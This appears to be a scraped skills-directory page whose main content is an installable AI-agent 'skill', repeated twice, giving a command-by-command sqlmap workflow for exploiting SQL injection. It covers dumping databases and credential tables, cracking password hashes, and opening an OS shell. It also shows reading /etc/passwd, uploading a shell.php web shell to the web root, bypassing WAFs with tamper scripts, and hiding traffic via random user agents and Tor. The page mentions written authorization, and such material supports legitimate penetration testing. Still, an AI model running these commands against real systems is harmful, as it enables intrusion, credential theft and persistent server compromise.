[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7CNTHC2WCG1D0B3J7VB3CPK":3,"skill-same:01M7CNTHC2WCG1D0B3J7VB3CPK":51},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":28,"commitSha":29,"skillDirectory":30,"forksCount":31,"repositoryHtmlUrl":32,"repositoryHomepageUrl":33,"ownerHtmlUrl":34,"ownerBlogUrl":6,"ownerDescription":35,"updatedAt":36,"install":37,"resources":50},"01M7CNTHC2WCG1D0B3J7VB3CPK","sqlmap-database-pentesting",null,"Provide systematic methodologies for automated SQL injection detection and exploitation using SQLMap.","YYC-Cube\u002FYYC3-Knowledge-Base","YYC-Cube","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F235006543?v=4","01M79J2PH4SWD2X0825X6PN748","yyc3","01M79J2PHVK3F6ZBYT8K2SCZCW",1,"MIT","https:\u002F\u002Fgithub.com\u002FYYC-Cube\u002FYYC3-Knowledge-Base\u002Fblob\u002Fmain\u002FYYC3-Skills-技能包\u002FYYC3-Skills-技能包-antigravity-awesome-skills\u002Fskills\u002Fsqlmap-database-pentesting\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: sqlmap-database-pentesting\ndescription: \"Provide systematic methodologies for automated SQL injection detection and exploitation using SQLMap.\"\nrisk: unknown\nsource: community\nauthor: zebbern\ndate_added: \"2026-02-27\"\n---\n\n# SQLMap Database Penetration Testing\n\n## Purpose\n\nProvide systematic methodologies for automated SQL injection detection and exploitation using SQLMap. This skill covers database enumeration, table and column discovery, data extraction, multiple target specification methods, and advanced exploitation techniques for MySQL, PostgreSQL, MSSQL, Oracle, and other database management systems.\n\n## Inputs \u002F Prerequisites\n\n- **Target URL**: Web application URL with injectable parameter (e.g., `?id=1`)\n- **SQLMap Installation**: Pre-installed on Kali Linux or downloaded from GitHub\n- **Verified Injection Point**: URL parameter confirmed or suspected to be SQL injectable\n- **Request File (Optional)**: Burp Suite captured HTTP request for POST-based injection\n- **Authorization**: Written permission for penetration testing activities\n\n## Outputs \u002F Deliverables\n\n- **Database Enumeration**: List of all databases on the target server\n- **Table Structure**: Complete table names within target database\n- **Column Mapping**: Column names and data types for each table\n- **Extracted Data**: Dumped records including usernames, passwords, and sensitive data\n- **Hash Values**: Password hashes for offline cracking\n- **Vulnerability Report**: Confirmation of SQL injection type and severity\n\n## Core Workflow\n\n### 1. Identify SQL Injection Vulnerability\n\n#### Manual Verification\n```bash\n# Add single quote to break query\nhttp:\u002F\u002Ftarget.com\u002Fpage.php?id=1'\n\n# If error message appears, likely SQL injectable\n# Error example: \"You have an error in your SQL syntax\"\n```\n\n#### Initial SQLMap Scan\n```bash\n# Basic vulnerability detection\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" --batch\n\n# With verbosity for detailed output\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" --batch -v 3\n```\n\n### 2. Enumerate Databases\n\n#### List All Databases\n```bash\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" --dbs --batch\n```\n\n**Key Options:**\n- `-u`: Target URL with injectable parameter\n- `--dbs`: Enumerate database names\n- `--batch`: Use default answers (non-interactive mode)\n\n### 3. Enumerate Tables\n\n#### List Tables in Specific Database\n```bash\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" -D database_name --tables --batch\n```\n\n**Key Options:**\n- `-D`: Specify target database name\n- `--tables`: Enumerate table names\n\n### 4. Enumerate Columns\n\n#### List Columns in Specific Table\n```bash\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" -D database_name -T table_name --columns --batch\n```\n\n**Key Options:**\n- `-T`: Specify target table name\n- `--columns`: Enumerate column names\n\n### 5. Extract Data\n\n#### Dump Specific Table Data\n```bash\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" -D database_name -T table_name --dump --batch\n```\n\n#### Dump Specific Columns\n```bash\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" -D database_name -T users -C username,password --dump --batch\n```\n\n#### Dump Entire Database\n```bash\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" -D database_name --dump-all --batch\n```\n\n**Key Options:**\n- `--dump`: Extract all data from specified table\n- `--dump-all`: Extract all data from all tables\n- `-C`: Specify column names to extract\n\n### 6. Advanced Target Options\n\n#### Target from HTTP Request File\n```bash\n# Save Burp Suite request to file, then:\nsqlmap -r \u002Fpath\u002Fto\u002Frequest.txt --dbs --batch\n```\n\n#### Target from Log File\n```bash\n# Feed log file with multiple requests\nsqlmap -l \u002Fpath\u002Fto\u002Flogfile --dbs --batch\n```\n\n#### Target Multiple URLs (Bulk File)\n```bash\n# Create file with URLs, one per line:\n# http:\u002F\u002Ftarget1.com\u002Fpage.php?id=1\n# http:\u002F\u002Ftarget2.com\u002Fpage.php?id=2\nsqlmap -m \u002Fpath\u002Fto\u002Fbulkfile.txt --dbs --batch\n```\n\n#### Target via Google Dorks (Use with Caution)\n```bash\n# Automatically find and test vulnerable sites (LEGAL TARGETS ONLY)\nsqlmap -g \"inurl:?id= site:yourdomain.com\" --batch\n```\n\n## Quick Reference Commands\n\n### Database Enumeration Progression\n\n| Stage | Command |\n|-------|---------|\n| List Databases | `sqlmap -u \"URL\" --dbs --batch` |\n| List Tables | `sqlmap -u \"URL\" -D dbname --tables --batch` |\n| List Columns | `sqlmap -u \"URL\" -D dbname -T tablename --columns --batch` |\n| Dump Data | `sqlmap -u \"URL\" -D dbname -T tablename --dump --batch` |\n| Dump All | `sqlmap -u \"URL\" -D dbname --dump-all --batch` |\n\n### Supported Database Management Systems\n\n| DBMS | Support Level |\n|------|---------------|\n| MySQL | Full Support |\n| PostgreSQL | Full Support |\n| Microsoft SQL Server | Full Support |\n| Oracle | Full Support |\n| Microsoft Access | Full Support |\n| IBM DB2 | Full Support |\n| SQLite | Full Support |\n| Firebird | Full Support |\n| Sybase | Full Support |\n| SAP MaxDB | Full Support |\n| HSQLDB | Full Support |\n| Informix | Full Support |\n\n### SQL Injection Techniques\n\n| Technique | Description | Flag |\n|-----------|-------------|------|\n| Boolean-based blind | Infers data from true\u002Ffalse responses | `--technique=B` |\n| Time-based blind | Uses time delays to infer data | `--technique=T` |\n| Error-based | Extracts data from error messages | `--technique=E` |\n| UNION query-based | Uses UNION to append results | `--technique=U` |\n| Stacked queries | Executes multiple statements | `--technique=S` |\n| Out-of-band | Uses DNS or HTTP for exfiltration | `--technique=Q` |\n\n### Essential Options\n\n| Option | Description |\n|--------|-------------|\n| `-u` | Target URL |\n| `-r` | Load HTTP request from file |\n| `-l` | Parse targets from Burp\u002FWebScarab log |\n| `-m` | Bulk file with multiple targets |\n| `-g` | Google dork (use responsibly) |\n| `--dbs` | Enumerate databases |\n| `--tables` | Enumerate tables |\n| `--columns` | Enumerate columns |\n| `--dump` | Dump table data |\n| `--dump-all` | Dump all database data |\n| `-D` | Specify database |\n| `-T` | Specify table |\n| `-C` | Specify columns |\n| `--batch` | Non-interactive mode |\n| `--random-agent` | Use random User-Agent |\n| `--level` | Level of tests (1-5) |\n| `--risk` | Risk of tests (1-3) |\n\n## Constraints and Limitations\n\n### Operational Boundaries\n- Requires valid injectable parameter in target URL\n- Network connectivity to target database server required\n- Large database dumps may take significant time\n- Some WAF\u002FIPS systems may block SQLMap traffic\n- Time-based attacks significantly slower than error-based\n\n### Performance Considerations\n- Use `--threads` to speed up enumeration (default: 1)\n- Limit dumps with `--start` and `--stop` for large tables\n- Use `--technique` to specify faster injection method if known\n\n### Legal Requirements\n- Only test systems with explicit written authorization\n- Google dork attacks against unknown sites are illegal\n- Document all testing activities and findings\n- Respect scope limitations defined in engagement rules\n\n### Detection Risk\n- SQLMap generates significant log entries\n- Use `--random-agent` to vary User-Agent header\n- Consider `--delay` to avoid triggering rate limits\n- Proxy through Tor with `--tor` for anonymity (authorized tests only)\n\n## Examples\n\n### Example 1: Complete Database Enumeration\n```bash\n# Step 1: Discover databases\nsqlmap -u \"http:\u002F\u002Ftestphp.vulnweb.com\u002Fartists.php?artist=1\" --dbs --batch\n# Result: acuart database found\n\n# Step 2: List tables\nsqlmap -u \"http:\u002F\u002Ftestphp.vulnweb.com\u002Fartists.php?artist=1\" -D acuart --tables --batch\n# Result: users, products, carts, etc.\n\n# Step 3: List columns\nsqlmap -u \"http:\u002F\u002Ftestphp.vulnweb.com\u002Fartists.php?artist=1\" -D acuart -T users --columns --batch\n# Result: username, password, email columns\n\n# Step 4: Dump user credentials\nsqlmap -u \"http:\u002F\u002Ftestphp.vulnweb.com\u002Fartists.php?artist=1\" -D acuart -T users --dump --batch\n```\n\n### Example 2: POST Request Injection\n```bash\n# Save Burp request to file (login.txt):\n# POST \u002Flogin.php HTTP\u002F1.1\n# Host: target.com\n# Content-Type: application\u002Fx-www-form-urlencoded\n# \n# username=admin&password=test\n\n# Run SQLMap with request file\nsqlmap -r \u002Froot\u002FDesktop\u002Flogin.txt -p username --dbs --batch\n```\n\n### Example 3: Bulk Target Scanning\n```bash\n# Create bulkfile.txt:\necho \"http:\u002F\u002F192.168.1.10\u002Fsqli\u002FLess-1\u002F?id=1\" > bulkfile.txt\necho \"http:\u002F\u002F192.168.1.10\u002Fsqli\u002FLess-2\u002F?id=1\" >> bulkfile.txt\n\n# Scan all targets\nsqlmap -m bulkfile.txt --dbs --batch\n```\n\n### Example 4: Aggressive Testing\n```bash\n# High level and risk for thorough testing\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" --dbs --batch --level=5 --risk=3\n\n# Specify all techniques\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" --dbs --batch --technique=BEUSTQ\n```\n\n### Example 5: Extract Specific Credentials\n```bash\n# Target specific columns\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" \\\n  -D webapp \\\n  -T admin_users \\\n  -C admin_name,admin_pass,admin_email \\\n  --dump --batch\n\n# Automatically crack password hashes\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" \\\n  -D webapp \\\n  -T users \\\n  --dump --batch \\\n  --passwords\n```\n\n### Example 6: OS Shell Access (Advanced)\n```bash\n# Get interactive OS shell (requires DBA privileges)\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" --os-shell --batch\n\n# Execute specific OS command\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" --os-cmd=\"whoami\" --batch\n\n# File read from server\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" --file-read=\"\u002Fetc\u002Fpasswd\" --batch\n\n# File upload to server\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" --file-write=\"\u002Flocal\u002Fshell.php\" --file-dest=\"\u002Fvar\u002Fwww\u002Fhtml\u002Fshell.php\" --batch\n```\n\n## Troubleshooting\n\n### Issue: \"Parameter does not seem injectable\"\n**Cause**: SQLMap cannot find injection point\n**Solution**:\n```bash\n# Increase testing level and risk\nsqlmap -u \"URL\" --dbs --batch --level=5 --risk=3\n\n# Specify parameter explicitly\nsqlmap -u \"URL\" -p \"id\" --dbs --batch\n\n# Try different injection techniques\nsqlmap -u \"URL\" --dbs --batch --technique=BT\n\n# Add prefix\u002Fsuffix for filter bypass\nsqlmap -u \"URL\" --dbs --batch --prefix=\"'\" --suffix=\"-- -\"\n```\n\n### Issue: Target Behind WAF\u002FFirewall\n**Cause**: Web Application Firewall blocking requests\n**Solution**:\n```bash\n# Use tamper scripts\nsqlmap -u \"URL\" --dbs --batch --tamper=space2comment\n\n# List available tamper scripts\nsqlmap --list-tampers\n\n# Common tamper combinations\nsqlmap -u \"URL\" --dbs --batch --tamper=space2comment,between,randomcase\n\n# Add delay between requests\nsqlmap -u \"URL\" --dbs --batch --delay=2\n\n# Use random User-Agent\nsqlmap -u \"URL\" --dbs --batch --random-agent\n```\n\n### Issue: Connection Timeout\n**Cause**: Network issues or slow target\n**Solution**:\n```bash\n# Increase timeout\nsqlmap -u \"URL\" --dbs --batch --timeout=60\n\n# Reduce threads\nsqlmap -u \"URL\" --dbs --batch --threads=1\n\n# Add retries\nsqlmap -u \"URL\" --dbs --batch --retries=5\n```\n\n### Issue: Time-Based Attacks Too Slow\n**Cause**: Default time delay too conservative\n**Solution**:\n```bash\n# Reduce time delay (risky, may cause false negatives)\nsqlmap -u \"URL\" --dbs --batch --time-sec=3\n\n# Use boolean-based instead if possible\nsqlmap -u \"URL\" --dbs --batch --technique=B\n```\n\n### Issue: Cannot Dump Large Tables\n**Cause**: Table has too many records\n**Solution**:\n```bash\n# Limit number of records\nsqlmap -u \"URL\" -D db -T table --dump --batch --start=1 --stop=100\n\n# Dump specific columns only\nsqlmap -u \"URL\" -D db -T table -C username,password --dump --batch\n\n# Exclude specific columns\nsqlmap -u \"URL\" -D db -T table --dump --batch --exclude-sysdbs\n```\n\n### Issue: Session Drops During Long Scan\n**Cause**: Session timeout or connection reset\n**Solution**:\n```bash\n# Save and resume session\nsqlmap -u \"URL\" --dbs --batch --output-dir=\u002Froot\u002Fsqlmap_session\n\n# Resume from saved session\nsqlmap -u \"URL\" --dbs --batch --resume\n\n# Use persistent HTTP connection\nsqlmap -u \"URL\" --dbs --batch --keep-alive\n```\n\n## When to Use\nThis skill is applicable to execute the workflow or actions described in the overview.\n","# SQLMap Database Penetration Testing\n\n## Purpose\n\nProvide systematic methodologies for automated SQL injection detection and exploitation using SQLMap. This skill covers database enumeration, table and column discovery, data extraction, multiple target specification methods, and advanced exploitation techniques for MySQL, PostgreSQL, MSSQL, Oracle, and other database management systems.\n\n## Inputs \u002F Prerequisites\n\n- **Target URL**: Web application URL with injectable parameter (e.g., `?id=1`)\n- **SQLMap Installation**: Pre-installed on Kali Linux or downloaded from GitHub\n- **Verified Injection Point**: URL parameter confirmed or suspected to be SQL injectable\n- **Request File (Optional)**: Burp Suite captured HTTP request for POST-based injection\n- **Authorization**: Written permission for penetration testing activities\n\n## Outputs \u002F Deliverables\n\n- **Database Enumeration**: List of all databases on the target server\n- **Table Structure**: Complete table names within target database\n- **Column Mapping**: Column names and data types for each table\n- **Extracted Data**: Dumped records including usernames, passwords, and sensitive data\n- **Hash Values**: Password hashes for offline cracking\n- **Vulnerability Report**: Confirmation of SQL injection type and severity\n\n## Core Workflow\n\n### 1. Identify SQL Injection Vulnerability\n\n#### Manual Verification\n```bash\n# Add single quote to break query\nhttp:\u002F\u002Ftarget.com\u002Fpage.php?id=1'\n\n# If error message appears, likely SQL injectable\n# Error example: \"You have an error in your SQL syntax\"\n```\n\n#### Initial SQLMap Scan\n```bash\n# Basic vulnerability detection\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" --batch\n\n# With verbosity for detailed output\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" --batch -v 3\n```\n\n### 2. Enumerate Databases\n\n#### List All Databases\n```bash\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" --dbs --batch\n```\n\n**Key Options:**\n- `-u`: Target URL with injectable parameter\n- `--dbs`: Enumerate database names\n- `--batch`: Use default answers (non-interactive mode)\n\n### 3. Enumerate Tables\n\n#### List Tables in Specific Database\n```bash\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" -D database_name --tables --batch\n```\n\n**Key Options:**\n- `-D`: Specify target database name\n- `--tables`: Enumerate table names\n\n### 4. Enumerate Columns\n\n#### List Columns in Specific Table\n```bash\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" -D database_name -T table_name --columns --batch\n```\n\n**Key Options:**\n- `-T`: Specify target table name\n- `--columns`: Enumerate column names\n\n### 5. Extract Data\n\n#### Dump Specific Table Data\n```bash\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" -D database_name -T table_name --dump --batch\n```\n\n#### Dump Specific Columns\n```bash\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" -D database_name -T users -C username,password --dump --batch\n```\n\n#### Dump Entire Database\n```bash\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" -D database_name --dump-all --batch\n```\n\n**Key Options:**\n- `--dump`: Extract all data from specified table\n- `--dump-all`: Extract all data from all tables\n- `-C`: Specify column names to extract\n\n### 6. Advanced Target Options\n\n#### Target from HTTP Request File\n```bash\n# Save Burp Suite request to file, then:\nsqlmap -r \u002Fpath\u002Fto\u002Frequest.txt --dbs --batch\n```\n\n#### Target from Log File\n```bash\n# Feed log file with multiple requests\nsqlmap -l \u002Fpath\u002Fto\u002Flogfile --dbs --batch\n```\n\n#### Target Multiple URLs (Bulk File)\n```bash\n# Create file with URLs, one per line:\n# http:\u002F\u002Ftarget1.com\u002Fpage.php?id=1\n# http:\u002F\u002Ftarget2.com\u002Fpage.php?id=2\nsqlmap -m \u002Fpath\u002Fto\u002Fbulkfile.txt --dbs --batch\n```\n\n#### Target via Google Dorks (Use with Caution)\n```bash\n# Automatically find and test vulnerable sites (LEGAL TARGETS ONLY)\nsqlmap -g \"inurl:?id= site:yourdomain.com\" --batch\n```\n\n## Quick Reference Commands\n\n### Database Enumeration Progression\n\n| Stage | Command |\n|-------|---------|\n| List Databases | `sqlmap -u \"URL\" --dbs --batch` |\n| List Tables | `sqlmap -u \"URL\" -D dbname --tables --batch` |\n| List Columns | `sqlmap -u \"URL\" -D dbname -T tablename --columns --batch` |\n| Dump Data | `sqlmap -u \"URL\" -D dbname -T tablename --dump --batch` |\n| Dump All | `sqlmap -u \"URL\" -D dbname --dump-all --batch` |\n\n### Supported Database Management Systems\n\n| DBMS | Support Level |\n|------|---------------|\n| MySQL | Full Support |\n| PostgreSQL | Full Support |\n| Microsoft SQL Server | Full Support |\n| Oracle | Full Support |\n| Microsoft Access | Full Support |\n| IBM DB2 | Full Support |\n| SQLite | Full Support |\n| Firebird | Full Support |\n| Sybase | Full Support |\n| SAP MaxDB | Full Support |\n| HSQLDB | Full Support |\n| Informix | Full Support |\n\n### SQL Injection Techniques\n\n| Technique | Description | Flag |\n|-----------|-------------|------|\n| Boolean-based blind | Infers data from true\u002Ffalse responses | `--technique=B` |\n| Time-based blind | Uses time delays to infer data | `--technique=T` |\n| Error-based | Extracts data from error messages | `--technique=E` |\n| UNION query-based | Uses UNION to append results | `--technique=U` |\n| Stacked queries | Executes multiple statements | `--technique=S` |\n| Out-of-band | Uses DNS or HTTP for exfiltration | `--technique=Q` |\n\n### Essential Options\n\n| Option | Description |\n|--------|-------------|\n| `-u` | Target URL |\n| `-r` | Load HTTP request from file |\n| `-l` | Parse targets from Burp\u002FWebScarab log |\n| `-m` | Bulk file with multiple targets |\n| `-g` | Google dork (use responsibly) |\n| `--dbs` | Enumerate databases |\n| `--tables` | Enumerate tables |\n| `--columns` | Enumerate columns |\n| `--dump` | Dump table data |\n| `--dump-all` | Dump all database data |\n| `-D` | Specify database |\n| `-T` | Specify table |\n| `-C` | Specify columns |\n| `--batch` | Non-interactive mode |\n| `--random-agent` | Use random User-Agent |\n| `--level` | Level of tests (1-5) |\n| `--risk` | Risk of tests (1-3) |\n\n## Constraints and Limitations\n\n### Operational Boundaries\n- Requires valid injectable parameter in target URL\n- Network connectivity to target database server required\n- Large database dumps may take significant time\n- Some WAF\u002FIPS systems may block SQLMap traffic\n- Time-based attacks significantly slower than error-based\n\n### Performance Considerations\n- Use `--threads` to speed up enumeration (default: 1)\n- Limit dumps with `--start` and `--stop` for large tables\n- Use `--technique` to specify faster injection method if known\n\n### Legal Requirements\n- Only test systems with explicit written authorization\n- Google dork attacks against unknown sites are illegal\n- Document all testing activities and findings\n- Respect scope limitations defined in engagement rules\n\n### Detection Risk\n- SQLMap generates significant log entries\n- Use `--random-agent` to vary User-Agent header\n- Consider `--delay` to avoid triggering rate limits\n- Proxy through Tor with `--tor` for anonymity (authorized tests only)\n\n## Examples\n\n### Example 1: Complete Database Enumeration\n```bash\n# Step 1: Discover databases\nsqlmap -u \"http:\u002F\u002Ftestphp.vulnweb.com\u002Fartists.php?artist=1\" --dbs --batch\n# Result: acuart database found\n\n# Step 2: List tables\nsqlmap -u \"http:\u002F\u002Ftestphp.vulnweb.com\u002Fartists.php?artist=1\" -D acuart --tables --batch\n# Result: users, products, carts, etc.\n\n# Step 3: List columns\nsqlmap -u \"http:\u002F\u002Ftestphp.vulnweb.com\u002Fartists.php?artist=1\" -D acuart -T users --columns --batch\n# Result: username, password, email columns\n\n# Step 4: Dump user credentials\nsqlmap -u \"http:\u002F\u002Ftestphp.vulnweb.com\u002Fartists.php?artist=1\" -D acuart -T users --dump --batch\n```\n\n### Example 2: POST Request Injection\n```bash\n# Save Burp request to file (login.txt):\n# POST \u002Flogin.php HTTP\u002F1.1\n# Host: target.com\n# Content-Type: application\u002Fx-www-form-urlencoded\n# \n# username=admin&password=test\n\n# Run SQLMap with request file\nsqlmap -r \u002Froot\u002FDesktop\u002Flogin.txt -p username --dbs --batch\n```\n\n### Example 3: Bulk Target Scanning\n```bash\n# Create bulkfile.txt:\necho \"http:\u002F\u002F192.168.1.10\u002Fsqli\u002FLess-1\u002F?id=1\" > bulkfile.txt\necho \"http:\u002F\u002F192.168.1.10\u002Fsqli\u002FLess-2\u002F?id=1\" >> bulkfile.txt\n\n# Scan all targets\nsqlmap -m bulkfile.txt --dbs --batch\n```\n\n### Example 4: Aggressive Testing\n```bash\n# High level and risk for thorough testing\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" --dbs --batch --level=5 --risk=3\n\n# Specify all techniques\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" --dbs --batch --technique=BEUSTQ\n```\n\n### Example 5: Extract Specific Credentials\n```bash\n# Target specific columns\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" \\\n  -D webapp \\\n  -T admin_users \\\n  -C admin_name,admin_pass,admin_email \\\n  --dump --batch\n\n# Automatically crack password hashes\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" \\\n  -D webapp \\\n  -T users \\\n  --dump --batch \\\n  --passwords\n```\n\n### Example 6: OS Shell Access (Advanced)\n```bash\n# Get interactive OS shell (requires DBA privileges)\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" --os-shell --batch\n\n# Execute specific OS command\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" --os-cmd=\"whoami\" --batch\n\n# File read from server\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" --file-read=\"\u002Fetc\u002Fpasswd\" --batch\n\n# File upload to server\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" --file-write=\"\u002Flocal\u002Fshell.php\" --file-dest=\"\u002Fvar\u002Fwww\u002Fhtml\u002Fshell.php\" --batch\n```\n\n## Troubleshooting\n\n### Issue: \"Parameter does not seem injectable\"\n**Cause**: SQLMap cannot find injection point\n**Solution**:\n```bash\n# Increase testing level and risk\nsqlmap -u \"URL\" --dbs --batch --level=5 --risk=3\n\n# Specify parameter explicitly\nsqlmap -u \"URL\" -p \"id\" --dbs --batch\n\n# Try different injection techniques\nsqlmap -u \"URL\" --dbs --batch --technique=BT\n\n# Add prefix\u002Fsuffix for filter bypass\nsqlmap -u \"URL\" --dbs --batch --prefix=\"'\" --suffix=\"-- -\"\n```\n\n### Issue: Target Behind WAF\u002FFirewall\n**Cause**: Web Application Firewall blocking requests\n**Solution**:\n```bash\n# Use tamper scripts\nsqlmap -u \"URL\" --dbs --batch --tamper=space2comment\n\n# List available tamper scripts\nsqlmap --list-tampers\n\n# Common tamper combinations\nsqlmap -u \"URL\" --dbs --batch --tamper=space2comment,between,randomcase\n\n# Add delay between requests\nsqlmap -u \"URL\" --dbs --batch --delay=2\n\n# Use random User-Agent\nsqlmap -u \"URL\" --dbs --batch --random-agent\n```\n\n### Issue: Connection Timeout\n**Cause**: Network issues or slow target\n**Solution**:\n```bash\n# Increase timeout\nsqlmap -u \"URL\" --dbs --batch --timeout=60\n\n# Reduce threads\nsqlmap -u \"URL\" --dbs --batch --threads=1\n\n# Add retries\nsqlmap -u \"URL\" --dbs --batch --retries=5\n```\n\n### Issue: Time-Based Attacks Too Slow\n**Cause**: Default time delay too conservative\n**Solution**:\n```bash\n# Reduce time delay (risky, may cause false negatives)\nsqlmap -u \"URL\" --dbs --batch --time-sec=3\n\n# Use boolean-based instead if possible\nsqlmap -u \"URL\" --dbs --batch --technique=B\n```\n\n### Issue: Cannot Dump Large Tables\n**Cause**: Table has too many records\n**Solution**:\n```bash\n# Limit number of records\nsqlmap -u \"URL\" -D db -T table --dump --batch --start=1 --stop=100\n\n# Dump specific columns only\nsqlmap -u \"URL\" -D db -T table -C username,password --dump --batch\n\n# Exclude specific columns\nsqlmap -u \"URL\" -D db -T table --dump --batch --exclude-sysdbs\n```\n\n### Issue: Session Drops During Long Scan\n**Cause**: Session timeout or connection reset\n**Solution**:\n```bash\n# Save and resume session\nsqlmap -u \"URL\" --dbs --batch --output-dir=\u002Froot\u002Fsqlmap_session\n\n# Resume from saved session\nsqlmap -u \"URL\" --dbs --batch --resume\n\n# Use persistent HTTP connection\nsqlmap -u \"URL\" --dbs --batch --keep-alive\n```\n\n## When to Use\nThis skill is applicable to execute the workflow or actions described in the overview.\n",{"name":5,"risk":24,"author":25,"source":26,"date_added":27,"description":7},"unknown","zebbern","community","2026-02-27","main","87afe6ce96220accf50a345dea46784c8c9f210e","YYC3-Skills-技能包\u002FYYC3-Skills-技能包-antigravity-awesome-skills\u002Fskills\u002Fsqlmap-database-pentesting",0,"https:\u002F\u002Fgithub.com\u002FYYC-Cube\u002FYYC3-Knowledge-Base","https:\u002F\u002Fkb.yyc3.top\u002F","https:\u002F\u002Fgithub.com\u002FYYC-Cube","万象归元于云枢 | 深栈智启新纪元","2026-11-10 10:37:32",{"source":8,"skillName":5,"commands":38,"prompt":48,"zipAvailable":49},[39,42,45],{"tool":40,"command":41},"npx","npx skills add YYC-Cube\u002FYYC3-Knowledge-Base --skill sqlmap-database-pentesting",{"tool":43,"command":44},"bunx","bunx skills add YYC-Cube\u002FYYC3-Knowledge-Base --skill sqlmap-database-pentesting",{"tool":46,"command":47},"pnpm","pnpm dlx skills add YYC-Cube\u002FYYC3-Knowledge-Base --skill sqlmap-database-pentesting","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FYYC-Cube\u002FYYC3-Knowledge-Base\u002Fblob\u002Fmain\u002FYYC3-Skills-技能包\u002FYYC3-Skills-技能包-antigravity-awesome-skills\u002Fskills\u002Fsqlmap-database-pentesting\u002FSKILL.md",true,[],[52,59,66,73,80,87],{"skillNo":53,"name":54,"nameZh":6,"description":55,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":56,"categories":57,"keywords":58,"publishedAt":19},"01M7CTDWHERCXPQCP0K03A86AS","vercel-sandbox","Run agent-browser + Chrome inside Vercel Sandbox microVMs for browser automation from any Vercel-deployed app. Use when the user needs browser automation in a Vercel app (Next.js, SvelteKit, Nuxt, Remix, Astro, etc.), wants to run headless Chrome without binary size limits, needs persistent browser sessions across commands, or wants ephemeral isolated browser environments. Triggers include \"Vercel Sandbox browser\", \"microVM Chrome\", \"agent-browser in sandbox\", \"browser automation on Vercel\", or any task requiring Chrome in a Vercel Sandbox.","https:\u002F\u002Fgithub.com\u002FYYC-Cube\u002FYYC3-Knowledge-Base\u002Fblob\u002Fmain\u002FYYC3-WebSpec-Web标准\u002FYYC3-WebSpec-Web标准-standards\u002Fbrowser-agent\u002Fskills\u002Fvercel-sandbox\u002FSKILL.md",[],[],{"skillNo":60,"name":61,"nameZh":6,"description":62,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":63,"categories":64,"keywords":65,"publishedAt":19},"01M7CTD8D2BNJY54S65M47HEJA","slack","Interact with Slack workspaces using browser automation. Use when the user needs to check unread channels, navigate Slack, send messages, extract data, find information, search conversations, or automate any Slack task. Triggers include \"check my Slack\", \"what channels have unreads\", \"send a message to\", \"search Slack for\", \"extract from Slack\", \"find who said\", or any task requiring programmatic Slack 